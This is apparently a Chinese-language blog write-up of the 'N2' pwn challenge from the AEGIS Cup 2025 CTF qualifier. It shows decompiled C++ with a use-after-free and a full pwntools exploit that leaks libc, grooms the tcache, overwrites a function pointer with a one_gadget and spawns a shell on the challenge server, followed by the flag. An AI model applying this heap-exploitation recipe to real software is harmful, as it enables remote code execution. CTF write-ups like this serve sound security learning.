Terry1234's blog

我們終會抵達各自的終點

0%

神盾盃 2025 初賽

初賽第二,可以去台南玩了

N2

backup_and_delete_note() 有 UAF
然後他 show 是透過 function pointer 去 call
又是 UAF 老梗,只是用 C++ 寫的
不知道為啥只有 5 隊解
用 tcache LIFO 的特性排一下 heap 拿到有 function pointer 的 chunk 就可以了
細節可以看 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v5; // rax
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v7; // [rsp+8h] [rbp-8h]

v7 = __readfsqword(0x28u);
setup();
while ( 1 )
{
menu();
std::istream::operator>>(&std::cin, &choice);
if ( choice == 4 )
break;
if ( choice > 4 )
goto LABEL_12;
switch ( choice )
{
case 3:
show_note();
break;
case 1:
add_note();
break;
case 2:
backup_and_delete_note();
break;
default:
LABEL_12:
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice.");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
break;
}
}
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Goodbye!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
return 0;
}

unsigned __int64 show_note(void)
{
unsigned __int64 v0; // rbx
__int64 v2; // rax
void (***v3)(void); // rax
__int64 v4; // rbx
__int64 v5; // rax
unsigned int v7; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v8; // [rsp+8h] [rbp-18h]

v8 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter note index to show: ");
std::istream::operator>>(&std::cin, &v7);
v0 = v7;
if ( v0 >= std::vector<Note *>::size(&notes) || !*(_QWORD *)std::vector<Note *>::operator[](&notes, v7) )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid index or note already deleted.");
}
else
{
v3 = (void (***)(void))std::vector<Note *>::operator[](&notes, v7);
(**v3)();
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Content: ");
v5 = std::vector<Note *>::operator[](&notes, v7);
v2 = std::operator<<<std::char_traits<char>>(v4, *(_QWORD *)(*(_QWORD *)v5 + 8LL));
}
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
return v8 - __readfsqword(0x28u);
}

// +0x0 function pointer
// +0x8 content_ptr
// +0x10 cnotent_chunk_size
unsigned __int64 add_note(void)
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rbx
__int64 v3; // rax
__int64 v4; // rbx
__int64 v5; // rax
__int64 v6; // rax
_DWORD size[3]; // [rsp+Ch] [rbp-24h] BYREF
unsigned __int64 v9; // [rsp+18h] [rbp-18h]

v9 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter note size: ");
std::istream::operator>>(&std::cin, size);
if ( size[0] <= 0x800u )
{
*(_QWORD *)&size[1] = malloc(0x18uLL);
if ( *(_QWORD *)&size[1] )
{
**(_QWORD **)&size[1] = show_content; // function pointer
*(_DWORD *)(*(_QWORD *)&size[1] + 0x10LL) = size[0];
v2 = *(_QWORD *)&size[1];
*(_QWORD *)(v2 + 8) = malloc(size[0]);
if ( *(_QWORD *)(*(_QWORD *)&size[1] + 8LL) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Enter content: ");
read(0, *(void **)(*(_QWORD *)&size[1] + 8LL), size[0]);
std::vector<Note *>::push_back(&notes, &size[1]);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Note added at index ");
v5 = std::vector<Note *>::size(&notes);
v6 = std::ostream::operator<<(v4, v5 - 1);
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
else
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Content allocation failed!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
free(*(void **)&size[1]);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Allocation failed!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Size too large!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
return v9 - __readfsqword(0x28u);
}

unsigned __int64 backup_and_delete_note(void)
{
unsigned __int64 v0; // rbx
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
unsigned int v12; // [rsp+Ch] [rbp-24h] BYREF
void *ptr; // [rsp+10h] [rbp-20h]
unsigned __int64 v14; // [rsp+18h] [rbp-18h]

v14 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter note index to backup and delete: ");
std::istream::operator>>(&std::cin, &v12);
v0 = v12;
if ( v0 >= std::vector<Note *>::size(&notes) || !*(_QWORD *)std::vector<Note *>::operator[](&notes, v12) )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid index!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
ptr = *(void **)std::vector<Note *>::operator[](&notes, v12);
if ( *((_DWORD *)ptr + 4) <= 0x200u )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Backing up note ");
v6 = std::ostream::operator<<(v5, v12);
v7 = std::operator<<<std::char_traits<char>>(v6, "...");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Backup successful.");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
free(*((void **)ptr + 1));
free(ptr);
*(_QWORD *)std::vector<Note *>::operator[](&notes, v12) = 0LL;
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "Note ");
v10 = std::ostream::operator<<(v9, v12);
v4 = std::operator<<<std::char_traits<char>>(v10, " deleted successfully.");
}
else
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Backup failed: Note content is too large to backup.");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
free(*((void **)ptr + 1));
free(ptr);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Deletion aborted. Please try again later.");
}
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
return v14 - __readfsqword(0x28u);
}

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

def add(size, content):
p.sendlineafter(b'> ', str(1))
p.sendlineafter(b'Enter note size: ', str(size))
p.sendlineafter(b'Enter content: ', content)

def delete(idx):
p.sendlineafter(b'> ', str(2))
p.sendlineafter(b'Enter note index to backup and delete: ', str(idx))

def show(idx):
p.sendlineafter(b'> ', str(3))
p.sendlineafter( b'Enter note index to show: ', str(idx))

context.arch = 'amd64'
context.log_level = 'debug'

#p = process('./n2')
p = remote('0.cloud.chals.io', 28850)
elf = ELF('./n2')
libc = ELF('./libc.so.6')

add(0x500, b'a') #0
add(0x18, b'a') #1
delete(0)
add(0x500, b'') #2
show(2)

p.recvuntil(b'Content: \n')
libc.address = (u64(p.recvline().strip().ljust(8, b'\x00')) << 8) - 0x203b00
print('[+] libc :', hex(libc.address))
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
one_gadget = libc.address + 0xef4ce
'''
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL

0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
'''
add(0x18, b'a') #3

add(0x280, b'a') #4
add(0x18, b'a') #5
delete(4)
delete(5)
add(0x280, b'a') #6
add(0x18, p64(one_gadget)) #7

show(4)

p.interactive()

# AEGIS{Wh0_the_h31l_let_you_m4ke_tHe_d3cision}